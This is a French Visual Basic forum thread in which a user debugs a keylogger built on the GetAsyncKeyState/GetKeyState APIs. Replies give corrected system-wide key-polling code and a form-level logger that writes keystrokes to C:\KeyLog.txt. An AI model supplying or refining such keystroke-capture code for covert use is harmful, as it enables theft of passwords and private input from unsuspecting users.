Api GetAsyncKeyState et GetKeyState

[Résolu]
Signaler
Messages postés
109
Date d'inscription
lundi 27 juin 2005
Statut
Membre
Dernière intervention
17 juillet 2007
-
Messages postés
553
Date d'inscription
jeudi 28 novembre 2002
Statut
Membre
Dernière intervention
2 octobre 2016
-
Bonsoir à tous,

J'essaye de développer un Keylog grace au Api  GetAsyncKeyState et GetKeyState ! Il fonctionne correctement apart une problème que je n'arrive pas à solutionner ! Si je tape une fois la touche ' a ' il me renvoie cette chaine "aaaaaaaaa" et ça pour toute les lettres ! Qqun a-t'il une idee pour résoudre ce problème ? merci

Voila une partie de mon code :


Public Function Demarrer()
As
IntegerY =1

Do While Y = 1
Application.DoEvents()
Clavier

Loop
End Function




 


Private Sub Clavier()

   Dim x
As Integer









   For



x = 65

To
90


   If
(GetKeyState(x) < 0)

Then


         Application.DoEvents()


   I  f
(GetKeyState(10) < 0)

then


   Texte = Texte & chr(x)


   Else


   Texte = Texte & chr(x + 32)


   End if   End If

   Next

   End Sub

6 réponses

Messages postés
17286
Date d'inscription
mercredi 2 janvier 2002
Statut
Modérateur
Dernière intervention
23 décembre 2019
69
En gros, il est passé pas mal de fois dans ta boucle alors que tu avait encore le doight appuuyé sur ta touche 'A'


regarde dans la doc, tu trouveras ta réponse...


Private Sub Clavier()

Dim x As Integer

    For x = 65 To 90

        If GetAsyncKeyState(x) And 1 Then

            Texte = Texte & Chr(x)

        End If

    Next

End Sub

Renfield
Admin CodeS-SourceS- MVP Visual Basic
Messages postés
553
Date d'inscription
jeudi 28 novembre 2002
Statut
Membre
Dernière intervention
2 octobre 2016
1
tu sais y pas besoin d'API pour faire ce genre de programme !
il y a les evenements dans l'environnement
personnelement peux te faire un keyloger en 5 lignes de code et sans API !

http://www.troxsa.info/
Le site qui ne parle qu'un seul langage, visual basic 2005
Messages postés
13280
Date d'inscription
lundi 13 décembre 2004
Statut
Modérateur
Dernière intervention
3 février 2018
46
commentaire au moins aussi constructif que celui-ci.....

Prenez un instant pour répondre à ce sondage svp
Messages postés
553
Date d'inscription
jeudi 28 novembre 2002
Statut
Membre
Dernière intervention
2 octobre 2016
1
Vodila ! l'idée est la maintenant a toi de géré les evenement comme il faut, j'ai testé et il te log bien tout comme il faut, sauf les touche special de type F1 F2 F3 .... ENTER ... il faut un peux plus de code pour arriver a ce genre de chose ...





mais pas besion d'API

Public



Sub

KeyLog(

ByVal

Ev

As




String



)






Dim
KeyWrite

As




New

StreamWriter(

"C:\KeyLog.txt"

,

True



)

KeyWrite.Write(Ev)



KeyWrite.Close()








End



Sub









Private



Sub

Form1_KeyPress(

ByVal

sender

As




Object

,

ByVal

e

As

System.Windows.Forms.KeyPressEventArgs)

Handles




Me



.KeyPress

KeyLog(e.KeyChar)








End



Sub
















http://www.troxsa.info/

Le site qui ne parle qu'un seul langage, visual basic 2005
Messages postés
17286
Date d'inscription
mercredi 2 janvier 2002
Statut
Modérateur
Dernière intervention
23 décembre 2019
69
TroXsA... ton truc est bien joli, mais il faut que la Form1 aies le Focus ^^


d'ou l'utilisation d'API, pour connaitre l'etat du clavier n'importe quand...

Renfield
Admin CodeS-SourceS- MVP Visual Basic
Messages postés
553
Date d'inscription
jeudi 28 novembre 2002
Statut
Membre
Dernière intervention
2 octobre 2016
1
Oui mais y a moyen qui traite les donnés sans avoir le focus il me semble !
je suis sur que ça doit etre possible

http://www.troxsa.info/
Le site qui ne parle qu'un seul langage, visual basic 2005